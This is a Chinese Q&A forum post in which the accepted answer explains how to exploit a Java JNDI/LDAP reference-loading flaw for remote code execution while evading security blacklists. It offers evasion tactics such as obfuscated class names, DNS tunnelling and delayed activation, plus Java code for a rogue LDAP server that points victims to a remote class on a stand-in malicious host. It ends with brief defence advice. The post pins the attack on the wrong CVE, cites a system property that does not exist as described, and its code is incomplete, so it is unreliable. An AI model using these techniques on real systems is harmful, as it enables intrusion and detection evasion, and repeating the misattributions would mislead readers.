如何利用CVE-2021-28164绕过Java安全限制?该漏洞源于JNDI在处理LDAP URL时对主机名验证的缺失,攻击者可构造恶意LDAP服务器返回引用对象,触发任意类加载。常见问题是:当应用程序使用`javax.naming.InitialContext.lookup()`解析外部LDAP URL时,若未启用`com.sun.jndi.ldap.object.disableReferenceAuthentication`安全选项,攻击者可通过伪造DNS和LDAP响应,诱导JVM从远程服务器加载恶意序列化对象,从而绕过安全管理器(SecurityManager)限制,执行任意代码。如何在不触发黑名单机制的前提下实现利用?
1条回答 默认 最新
泰坦V 2025-10-27 19:30关注CVE-2021-28164:JNDI LDAP主机名验证缺失导致Java安全限制绕过深度解析
1. 漏洞背景与基本原理
CVE-2021-28164 是 Oracle 在 2021 年披露的一个高危 Java 安全漏洞,影响 JDK 8u191 之前的版本。该漏洞的核心在于 JNDI(Java Naming and Directory Interface) 在处理 LDAP URL 时,未对远程主机名进行充分的合法性校验。
当调用
javax.naming.InitialContext.lookup()方法并传入一个外部 LDAP URL(如 ldap://attacker.com/o=object)时,JVM 会连接指定的 LDAP 服务器,并可能加载其中返回的 Reference 对象。若未启用com.sun.jndi.ldap.object.disableReferenceAuthentication系统属性,则 JVM 将允许从远程代码库加载类文件,从而触发任意类加载行为。此机制原本用于企业级目录服务中的对象绑定与恢复,但攻击者可利用其构造恶意 LDAP 响应,诱导目标 JVM 加载并执行远程恶意类,实现远程代码执行(RCE)。
2. 利用链分析:从 JNDI 到任意代码执行
- Step 1: 攻击者控制一个可解析的域名(如 attacker.com),并配置 DNS 指向其控制的 LDAP 服务器。
- Step 2: 部署恶意 LDAP 服务,响应包含
javax.naming.Reference或javax.naming.Referenceable类型的对象。 - Step 3: Reference 中指定工厂类(
factoryClassLocation)指向远程 HTTP/FTP 服务器上的恶意类(如http://malicious.site/Exploit.class)。 - Step 4: 目标应用调用
lookup("ldap://attacker.com/exp"),JNDI 解析 LDAP 返回引用。 - Step 5: JVM 自动从指定位置下载并实例化工厂类,触发静态块或构造函数中的恶意代码。
3. 绕过安全管理器(SecurityManager)的关键路径
尽管 Java 提供了 SecurityManager 机制来限制类加载和敏感操作,但在以下条件下仍可被绕过:
条件 说明 未启用引用认证 -Dcom.sun.jndi.ldap.object.disableReferenceAuthentication=false(默认值)远程类加载未受限 SecurityManager 未显式禁止 ClassLoader.defineClass或网络资源加载使用非序列化方式传递对象 通过 Reference + Factory 机制,避免触发 ObjectInputStream黑名单检测利用可信代码库加载链 通过已加载的合法类反射调用 Runtime.exec() 等敏感方法 4. 如何规避黑名单机制实现无痕利用
现代 WAF、RASP 和 JVM 层防护常基于已知恶意类名、包名或特征字符串进行拦截。为规避此类检测,攻击者可采用如下策略:
- 动态类名混淆: 使用随机生成的类名(如
a.b.c.XxX)避免匹配已知 payload 名称。 - 分段加载: 将恶意逻辑拆分为多个类,仅在内存中组合执行,降低单个类的可疑性。
- 利用合法库作为跳板: 借助 Spring、Apache Commons 等常见库中的类(如
org.springframework.beans.factory.ObjectFactory)间接触发类加载。 - DNS 隐道通信: 在 LDAP 查询阶段通过子域名携带加密参数,减少明文暴露风险。
- 延迟执行: 恶意类加载后不立即执行命令,等待特定信号(如心跳包)再激活,逃避沙箱检测。
- HTTPS 回连: 所有外部资源通过 TLS 加密传输,规避流量审计。
5. 实战代码示例:构建轻量级 LDAP 响应伪造服务
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import javax.naming.Reference; public class CVE_2021_28164_LdapServer extends InMemoryOperationInterceptor { private static final String REMOTE_FACTORY_URL = "http://malicious.site/"; @Override public void processSearchResult(InMemoryInterceptedSearchResult result) throws LDAPException { Entry entry = new Entry(result.getRequest().getBaseDN()); try { // 构造引用对象,指向远程类 Reference ref = new Reference("Exploit", "Exploit", REMOTE_FACTORY_URL); entry.addAttribute("javaClassName", "Exploit"); entry.addAttribute("javaSerializedData", serialize(ref)); result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Exception e) { e.printStackTrace(); } } private byte[] serialize(Object obj) throws Exception { java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); } }6. 防御建议与缓解措施
- 升级 JDK: 升级至 JDK 8u191+ 或 JDK 11.0.1+,默认启用引用认证。
- 强制启用引用验证: 设置系统属性:
-Dcom.sun.jndi.ldap.object.disableReferenceAuthentication=true - 禁用远程类加载: 添加安全管理器规则,禁止从
http://、ftp://等协议加载类。 - 最小权限原则: 应用不应以高权限运行,限制
Runtime.exec、ProcessBuilder等调用。 - 监控 JNDI 调用: 使用字节码增强工具(如 ByteBuddy)记录所有
InitialContext.lookup()调用来源。 - 网络层隔离: 防火墙策略限制出站 LDAP、HTTP 请求至白名单地址。
7. 漏洞利用流程图(Mermaid 格式)
graph TD A[用户输入LDAP URL] --> B{调用InitialContext.lookup()} B --> C[JNDI解析ldap://xxx] C --> D[连接攻击者LDAP服务器] D --> E[返回恶意Reference对象] E --> F[JVM尝试加载远程工厂类] F --> G[从HTTP服务器下载.class文件] G --> H[执行静态初始化代码] H --> I[绕过SecurityManager执行命令] I --> J[获取Shell或数据泄露]本回答被题主选为最佳回答 , 对您是否有帮助呢?解决 无用评论 打赏 举报